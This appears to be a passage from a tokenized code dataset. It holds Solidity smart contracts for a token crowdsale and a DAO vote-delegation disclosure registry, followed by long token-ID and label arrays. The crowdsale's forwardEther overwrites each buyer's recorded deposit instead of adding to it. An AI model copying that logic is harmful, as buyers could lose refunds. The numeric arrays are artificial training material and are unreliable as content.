inState(State.Setup) onlyOwner public { require(_wallet != address(0)); wallet = _wallet; } function setRegistry(address _registry) inState(State.Setup) onlyOwner public { require(_registry != address(0)); userRegistry = UserRegistryInterface(_registry); } function setExtraDistribution(address _holder, uint _extraPart) inState(State.Setup) onlyOwner public { require(_holder != address(0)); extraTokensHolder = _holder; extraDistributionPart = _extraPart; } function setAmountBonuses(uint[] _amountSlices, uint[] _bonuses) inState(State.Setup) onlyOwner public { require(_amountSlices.length > 1); require(_bonuses.length == _amountSlices.length); uint lastSlice = 0; for (uint index = 0; index < _amountSlices.length; index++) { require(_amountSlices[index] > lastSlice); lastSlice = _amountSlices[index]; amountSlices.push(lastSlice); amountBonuses[lastSlice] = _bonuses[index]; } amountSlicesCount = amountSlices.length; } function setTimeBonuses(uint[] _timeSlices, uint[] _bonuses) // ! Not need to check state since changes at 02.2018 // inState(State.Setup) onlyOwner public { // Only once in life time // ! Time bonuses is changable after 02.2018 // require(timeSlicesCount == 0); require(_timeSlices.length > 0); require(_bonuses.length == _timeSlices.length); uint lastSlice = 0; uint lastBonus = 10000; if (timeSlicesCount > 0) { // ! Since time bonuses is changable we should take latest first lastSlice = timeSlices[timeSlicesCount - 1]; lastBonus = timeBonuses[lastSlice]; } for (uint index = 0; index < _timeSlices.length; index++) { require(_timeSlices[index] > lastSlice); // ! Add check for next bonus is equal or less than previous require(_bonuses[index] <= lastBonus); // ? Should we check bonus in a future lastSlice = _timeSlices[index]; timeSlices.push(lastSlice); timeBonuses[lastSlice] = _bonuses[index]; } timeSlicesCount = timeSlices.length; } function setTokenExcange(address _token, uint _value) inState(State.Setup) onlyOwner public { allowedTokens[_token] = TokenInterface(_token); updateTokenValue(_token, _value); } function saneIt() inState(State.Setup) onlyOwner public { require(startTime < endTime); require(endTime > now); require(price > 0); require(wallet != address(0)); require(token != address(0)); if (isKnownOnly) { require(userRegistry != address(0)); } if (isAmountBonus) { require(amountSlicesCount > 0); } if (isExtraDistribution) { require(extraTokensHolder != address(0)); } if (isTransferShipment) { require(token.balanceOf(address(this)) >= hardCap); } else { require(token.owner() == address(this)); } state = State.Active; } function finalizeIt(address _futureOwner) inState(State.Active) onlyOwner public { require(ended()); token.transferOwnership(_futureOwner); if (success()) { state = State.Claim; } else { state = State.Refund; } } function historyIt() inState(State.Claim) onlyOwner public { require(address(this).balance == 0); state = State.History; } // ███████╗██╗ ██╗███████╗ ██████╗██╗ ██╗████████╗███████╗ // ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ ██║╚══██╔══╝██╔════╝ // █████╗ ╚███╔╝ █████╗ ██║ ██║ ██║ ██║ █████╗ // ██╔══╝ ██╔██╗ ██╔══╝ ██║ ██║ ██║ ██║ ██╔══╝ // ███████╗██╔╝ ██╗███████╗╚██████╗╚██████╔╝ ██║ ███████╗ // ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ function calculateEthAmount( address _beneficiary, uint _weiAmount, uint _time, uint _totalSupply ) public constant returns( uint calculatedTotal, uint calculatedBeneficiary, uint calculatedExtra, uint calculatedreferer, address refererAddress) { _totalSupply; uint bonus = 0; if (isAmountBonus) { bonus = bonus.add(calculateAmountBonus(_weiAmount)); } if (isEarlyBonus) { bonus = bonus.add(calculateTimeBonus(_time.sub(startTime))); } if (isPersonalBonuses && personalBonuses[_beneficiary].bonus > 0) { bonus = bonus.add(personalBonuses[_beneficiary].bonus); } calculatedBeneficiary = _weiAmount.mul(10 ** tokenDecimals).div(price); if (bonus > 0) { calculatedBeneficiary = calculatedBeneficiary.add(calculatedBeneficiary.mul(bonus).div(10000)); } if (isExtraDistribution) { calculatedExtra = calculatedBeneficiary.mul(extraDistributionPart).div(10000); } if (isPersonalBonuses && personalBonuses[_beneficiary].refererAddress != address(0) && personalBonuses[_beneficiary].refererBonus > 0) { calculatedreferer = calculatedBeneficiary.mul(personalBonuses[_beneficiary].refererBonus).div(10000); refererAddress = personalBonuses[_beneficiary].refererAddress; } calculatedTotal = calculatedBeneficiary.add(calculatedExtra).add(calculatedreferer); } function calculateAmountBonus(uint _changeAmount) public constant returns(uint) { uint bonus = 0; for (uint index = 0; index < amountSlices.length; index++) { if(amountSlices[index] > _changeAmount) { break; } bonus = amountBonuses[amountSlices[index]]; } return bonus; } function calculateTimeBonus(uint _at) public constant returns(uint) { uint bonus = 0; for (uint index = timeSlices.length; index > 0; index--) { if(timeSlices[index - 1] < _at) { break; } bonus = timeBonuses[timeSlices[index - 1]]; } return bonus; } function validPurchase( address _beneficiary, uint _weiAmount, uint _tokenAmount, uint _extraAmount, uint _totalAmount, uint _time) public constant returns(bool) { _tokenAmount; _extraAmount; // ! Check min purchase value (since 02.2018) if (isMinimumValue) { // ! Check min purchase value in ether (since 02.2018) if (isMinimumInEther && _weiAmount < minimumPurchaseValue) { return false; } // ! Check min purchase value in tokens (since 02.2018) if (!isMinimumInEther && _tokenAmount < minimumPurchaseValue) { return false; } } if (_time < startTime || _time > endTime) { return false; } if (isKnownOnly && !userRegistry.knownAddress(_beneficiary)) { return false; } uint finalBeneficiaryInvest = beneficiaryInvest[_beneficiary].add(_weiAmount); uint finalTotalSupply = soldTokens.add(_totalAmount); if (isWhitelisted) { WhitelistRecord storage record = whitelist[_beneficiary]; if (!record.allow || record.min > finalBeneficiaryInvest || record.max < finalBeneficiaryInvest) { return false; } } if (isCappedInEther) { if (weiRaised.add(_weiAmount) > hardCap) { return false; } } else { if (finalTotalSupply > hardCap) { return false; } } return true; } function updateTokenValue(address _token, uint _value) onlyOwner public { require(address(allowedTokens[_token]) != address(0x0)); tokensValues[_token] = _value; } // ██████╗ ███████╗ █████╗ ██████╗ // ██╔══██╗██╔════╝██╔══██╗██╔══██╗ // ██████╔╝█████╗ ███████║██║ ██║ // ██╔══██╗██╔══╝ ██╔══██║██║ ██║ // ██║ ██║███████╗██║ ██║██████╔╝ // ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ function success() public constant returns(bool) { if (isCappedInEther) { return weiRaised >= softCap; } else { return token.totalSupply() >= softCap; } } function capped() public constant returns(bool) { if (isCappedInEther) { return weiRaised >= hardCap; } else { return token.totalSupply() >= hardCap; } } function ended() public constant returns(bool) { return capped() || block.timestamp >= endTime; } // ██████╗ ██╗ ██╗████████╗███████╗██╗██████╗ ███████╗ // ██╔═══██╗██║ ██║╚══██╔══╝██╔════╝██║██╔══██╗██╔════╝ // ██║ ██║██║ ██║ ██║ ███████╗██║██║ ██║█████╗ // ██║ ██║██║ ██║ ██║ ╚════██║██║██║ ██║██╔══╝ // ╚██████╔╝╚██████╔╝ ██║ ███████║██║██████╔╝███████╗ // ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝╚═════╝ ╚══════╝ // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) inState(State.Active) public payable { require(!isDisableEther); uint shipAmount = sellTokens(_beneficiary, msg.value, block.timestamp); require(shipAmount > 0); forwardEther(); } function buyWithHash(address _beneficiary, uint _value, uint _timestamp, bytes32 _hash) inState(State.Active) onlyOwner public { require(isAllowToIssue); uint shipAmount = sellTokens(_beneficiary, _value, _timestamp); require(shipAmount > 0); HashBuy(_beneficiary, _value, shipAmount, _timestamp, _hash); } function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public { if (_token == address(token)) { TokenInterface(_token).transferFrom(_from, address(this), _value); return; } require(isTokenExchange); require(toUint(_extraData) == tokensValues[_token]); require(tokensValues[_token] > 0); require(forwardTokens(_from, _token, _value)); uint weiValue = _value.mul(tokensValues[_token]).div(10 ** allowedTokens[_token].decimals()); require(weiValue > 0); uint shipAmount = sellTokens(_from, weiValue, block.timestamp); require(shipAmount > 0); AltBuy(_from, _token, _value, weiValue, shipAmount); } function claimFunds() onlyOwner public returns(bool) { require(state == State.Claim || (isAllowClaimBeforeFinalization && success())); wallet.transfer(address(this).balance); return true; } function claimTokenFunds(address _token) onlyOwner public returns(bool) { require(state == State.Claim || (isAllowClaimBeforeFinalization && success())); uint balance = allowedTokens[_token].balanceOf(address(this)); require(balance > 0); require(allowedTokens[_token].transfer(wallet, balance)); return true; } function claimRefundEther(address _beneficiary) inState(State.Refund) public returns(bool) { require(weiDeposit[_beneficiary] > 0); _beneficiary.transfer(weiDeposit[_beneficiary]); return true; } function claimRefundTokens(address _beneficiary, address _token) inState(State.Refund) public returns(bool) { require(altDeposit[_token][_beneficiary] > 0); require(allowedTokens[_token].transfer(_beneficiary, altDeposit[_token][_beneficiary])); return true; } function addToWhitelist(address _beneficiary, uint _min, uint _max) onlyOwner public { require(_beneficiary != address(0)); require(_min <= _max); if (_max == 0) { _max = 10 ** 40; // should be huge enough? :0 } whitelist[_beneficiary] = WhitelistRecord(true, _min, _max); Whitelisted(_beneficiary, _min, _max); } function setPersonalBonus( address _beneficiary, uint _bonus, address _refererAddress, uint _refererBonus) onlyOwner public { personalBonuses[_beneficiary] = PersonalBonusRecord( _bonus, _refererAddress, _refererBonus ); PersonalBonus(_beneficiary, _refererAddress, _bonus, _refererBonus); } // ██╗███╗ ██╗████████╗███████╗██████╗ ███╗ ██╗ █████╗ ██╗ ███████╗ // ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██║ ██╔════╝ // ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║██║ ███████╗ // ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║ ╚════██║ // ██║██║ ╚████║ ██║ ███████╗██║ ██║██║ ╚████║██║ ██║███████╗███████║ // ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚══════╝ // low level token purchase function function sellTokens(address _beneficiary, uint _weiAmount, uint timestamp) inState(State.Active) internal returns(uint) { uint beneficiaryTokens; uint extraTokens; uint totalTokens; uint refererTokens; address refererAddress; (totalTokens, beneficiaryTokens, extraTokens, refererTokens, refererAddress) = calculateEthAmount( _beneficiary, _weiAmount, timestamp, token.totalSupply()); require(validPurchase(_beneficiary, // Check if current purchase is valid _weiAmount, beneficiaryTokens, extraTokens, totalTokens, timestamp)); weiRaised = weiRaised.add(_weiAmount); // update state (wei amount) beneficiaryInvest[_beneficiary] = beneficiaryInvest[_beneficiary].add(_weiAmount); shipTokens(_beneficiary, beneficiaryTokens); // ship tokens to beneficiary EthBuy(msg.sender, // Fire purchase event _beneficiary, _weiAmount, beneficiaryTokens); ShipTokens(_beneficiary, beneficiaryTokens); if (isExtraDistribution) { // calculate and shipTokens(extraTokensHolder, extraTokens); ShipTokens(extraTokensHolder, extraTokens); } if (isPersonalBonuses) { PersonalBonusRecord storage record = personalBonuses[_beneficiary]; if (record.refererAddress != address(0) && record.refererBonus > 0) { shipTokens(record.refererAddress, refererTokens); ShipTokens(record.refererAddress, refererTokens); } } soldTokens = soldTokens.add(totalTokens); return beneficiaryTokens; } function shipTokens(address _beneficiary, uint _amount) inState(State.Active) internal { if (isTransferShipment) { token.transfer(_beneficiary, _amount); } else { token.mint(address(this), _amount); token.transfer(_beneficiary, _amount); } } function forwardEther() internal returns (bool) { weiDeposit[msg.sender] = msg.value; return true; } function forwardTokens(address _beneficiary, address _tokenAddress, uint _amount) internal returns (bool) { TokenInterface allowedToken = allowedTokens[_tokenAddress]; allowedToken.transferFrom(_beneficiary, address(this), _amount); altDeposit[_tokenAddress][_beneficiary] = _amount; return true; } // ██╗ ██╗████████╗██╗██╗ ███████╗ // ██║ ██║╚══██╔══╝██║██║ ██╔════╝ // ██║ ██║ ██║ ██║██║ ███████╗ // ██║ ██║ ██║ ██║██║ ╚════██║ // ╚██████╔╝ ██║ ██║███████╗███████║ // ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ function toUint(bytes left) public pure returns (uint) { uint out; for (uint i = 0; i < 32; i++) { out |= uint(left[i]) << (31 * 8 - i * 8); } return out; } } contract BaseAltCrowdsale is Crowdsale { function BaseAltCrowdsale( address _registry, address _token, address _extraTokensHolder, address _wallet, bool _isWhitelisted, uint _price, uint _start, uint _end, uint _softCap, uint _hardCap ) public { setFlags( // Should be whitelisted to buy tokens // _isWhitelisted, _isWhitelisted, // Should be known user to buy tokens // _isKnownOnly, true, // Enable amount bonuses in crowdsale? // _isAmountBonus, true, // Enable early bird bonus in crowdsale? // _isEarlyBonus, true, // Allow to buy tokens for another tokens? // _isTokenExcange, false, // Allow to issue tokens with tx hash (ex bitcoin) // _isAllowToIssue, true, // Should reject purchases with Ether? // _isDisableEther, false, // Should mint extra tokens for future distribution? // _isExtraDistribution, true, // Will ship token via minting? // _isTransferShipment, false, // Should be capped in ether // bool _isCappedInEther, true, // Should check personal bonuses? // _isPersonalBonuses true, // Should allow to claimFunds before finalizations? false ); setToken(_token); setTime(_start, _end); setRegistry(_registry); setWallet(_wallet); setExtraDistribution( _extraTokensHolder, 6667 // 66.67% ); setSoftHardCaps( _softCap, // soft _hardCap // hard ); // 200 ALT per 1 ETH setPrice(_price); } } contract AltCrowdsalePhaseOne is BaseAltCrowdsale { function AltCrowdsalePhaseOne ( address _registry, address _token, address _extraTokensHolder, address _wallet ) BaseAltCrowdsale( _registry, _token, _extraTokensHolder, _wallet, // Whitelisted false, // price 1 ETH -> 100000 ALT uint(1 ether).div(100000), // start - 13 Apr 2018 12:18:33 GMT 1523621913, // end - 30 Jun 2018 23:59:59 GMT 1530403199, // _softCap, 2500 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 24316, 5157, 24899, 70, 4009, 74, 14463, 814, 16, 27641, 74, 14463, 814, 5157, 1769, 1377, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // Copyright (c) 2021 Varia LLC /// Wet Code by Erich Dylus & Sarah Brennan /// Dry Code by LexDAO LLC pragma solidity ^0.8.6; /// @notice This contract manages function access control, adapted from @boringcrypto (https://github.com/boringcrypto/BoringSolidity). contract Ownable { address public owner; address public pendingOwner; event TransferOwnership(address indexed from, address indexed to); event TransferOwnershipClaim(address indexed from, address indexed to); /// @notice Initialize contract. constructor() { owner = msg.sender; emit TransferOwnership(address(0), msg.sender); } /// @notice Access control modifier that requires modified function to be called by `owner` account. modifier onlyOwner { require(msg.sender == owner, 'Ownable:!owner'); _; } /// @notice The `pendingOwner` can claim `owner` account. function claimOwner() external { require(msg.sender == pendingOwner, 'Ownable:!pendingOwner'); emit TransferOwnership(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } /// @notice Transfer `owner` account. /// @param to Account granted `owner` access control. /// @param direct If 'true', ownership is directly transferred. function transferOwnership(address to, bool direct) external onlyOwner { if (direct) { owner = to; emit TransferOwnership(msg.sender, to); } else { pendingOwner = to; emit TransferOwnershipClaim(msg.sender, to); } } } /// @notice This contract allows potential delegates of DAO voting power to ethSign a ricardian template for delegation disclosures. contract VoteDelegateDisclosure is Ownable { uint8 public version; // counter for ricardian template versions string public template; // string stored for ricardian template signature - amendable by `owner` mapping(address => bool) public registrations; // maps signatories to registration status (true/false) event Amend(string template); event Sign(string details); event Revoke(string details); constructor(string memory _template) { template = _template; // initialize ricardian template } function amend(string calldata _template) external onlyOwner { version++; // increment ricardian template version template = _template; // update ricardian template string stored in this contract emit Amend(_template); // emit amendment details in event for apps } function sign(string calldata details) external { registrations[msg.sender] = true; // register caller signatory emit Sign(details); // emit signature details in event for apps } function revoke(string calldata details) external { registrations[msg.sender] = false; // nullify caller registration emit Revoke(details); // emit revocation details in event for apps } }
@notice The `pendingOwner` can claim `owner` account.
function claimOwner() external { require(msg.sender == pendingOwner, 'Ownable:!pendingOwner'); emit TransferOwnership(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); }
1,605,279
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 20392, 1021, 1375, 9561, 5541, 68, 848, 7516, 1375, 8443, 68, 2236, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 5541, 1435, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 4634, 5541, 16, 296, 5460, 429, 30, 5, 9561, 5541, 8284, 203, 3639, 3626, 12279, 5460, 12565, 12, 8443, 16, 1234, 18, 15330, 1769, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 3639, 4634, 5541, 273, 1758, 12, 20, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 